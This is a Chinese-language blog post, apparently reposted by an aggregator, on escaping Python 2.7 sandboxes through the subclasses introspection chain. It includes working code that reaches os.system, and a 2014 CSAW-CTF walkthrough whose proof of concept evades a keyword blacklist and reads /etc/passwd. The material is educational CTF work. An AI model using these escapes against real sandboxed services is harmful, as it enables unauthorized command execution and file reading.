Python Sandbox Bypass

Posted 美丽联合集团安全应急响应中心

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python Sandbox Bypass相关的知识,希望对你有一定的参考价值。

常规pysandbox方法:

利用del __builtins__.__dict__[func]进行危险函数过滤。

简单理解,__builtins__存放着Python的内置模块。比如:reload, __import__, print, raw_input

针对常规Python沙箱的bypass,以CTF呈现的形式居多。

以下环境全在python 2.7.10测试。

1. Magic Code

在Python里,这段[].__class__.__base__.__subclasses__()魔术代码,不用import任何模块,但可调用任意模块的方法。

具体使用如下:

1.1 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道,sys.version可以查看python版本。

>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) \n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]'

所以,我们只需利用MagicCode导入sys模块,并调用version方法即可。

我们找到<class 'warnings.WarningMessage'>,该Class已经导入了sys模块。

获取py版本如下:

def getPyVer():
magic = [].__class__.__base__.__subclasses__()
for item in magic:
if 'warnings.WarningMessage' in str(item):
return item.__init__.__globals__['sys'].version

print getPyVer()

返回:

2.7.10 (default, Oct 23 2015, 19:19:21) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]

1.2 命令执行

根据上面的理解,想要命令执行,我们需要import以下任意一个模块即可。

  • os

  • subprocess

  • commands

以os模块为例。

在2.7.10里,有以下3个Class导入了os模块。

<class 'site._Printer'>
<class 'site.Quitter'>
<class 'subprocess.Popen'>

我们利用任意一个Class的代码如下:

def cmdexec(cmd):

magic = [].__class__.__base__.__subclasses__()
for item in magic:
if "<class 'site._Printer'>" == str(item):
ret = item.__init__.__globals__['os'].system(cmd)
return ret

print cmdexec('whoami')

返回:

Viarus
0

2. 小试牛刀

以2014 CSAW-CTF为例。

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]

while 1:
print(">>>", end=' ')
data = raw_input()

for no in banned:
if no.lower() in data.lower():
print("[-] " + no)
break
else: # this means nobreak
exec data

该代码很简单。

  • 删除所有内置模块,除了raw_inputprint

  • 如果输入里匹配到banned列表里的黑名单,就退出程序。

现在的目的是读取系统上一个文件。方法大致两种:

  1. 调用file函数读取文件

  2. 执行命令

第一种方法就不阐述了。下面是第二种执行命令的Poc:

  python_sandbox_bypass python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> s = 's' + 'ystem'
>>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s]
>>> a('cat /etc/passwd')
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

原理即上面执行命令的代码逻辑的原理。由于不能出现sys字样,所以把system组合了下。

3. 总结

  • 如果是module类型,可以使用.__dict__.keys()查看方法名,比如item.__init__.__globals__['os'].__dict__.keys()

  • 调用方法使用.__dict__['funcname'],比如item.__init__.__globals__['os'].__dict__['system']

  • 从class中获取该class的模块名item.__init__.__globals__.keys()

4. 参考

  • CSAW-CTF Python sandbox write-up


以上是关于Python Sandbox Bypass的主要内容,如果未能解决你的问题,请参考以下文章

Python Ethical Hacking - Bypass HTTPS

Python Ethical Hacking - Bypass HTTPS

2017swpu python sandbox (300pt)

技术文章阅读-Escaping a Python sandbox with a memory corruption bug

php大马免杀技巧 | bypass waf

Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass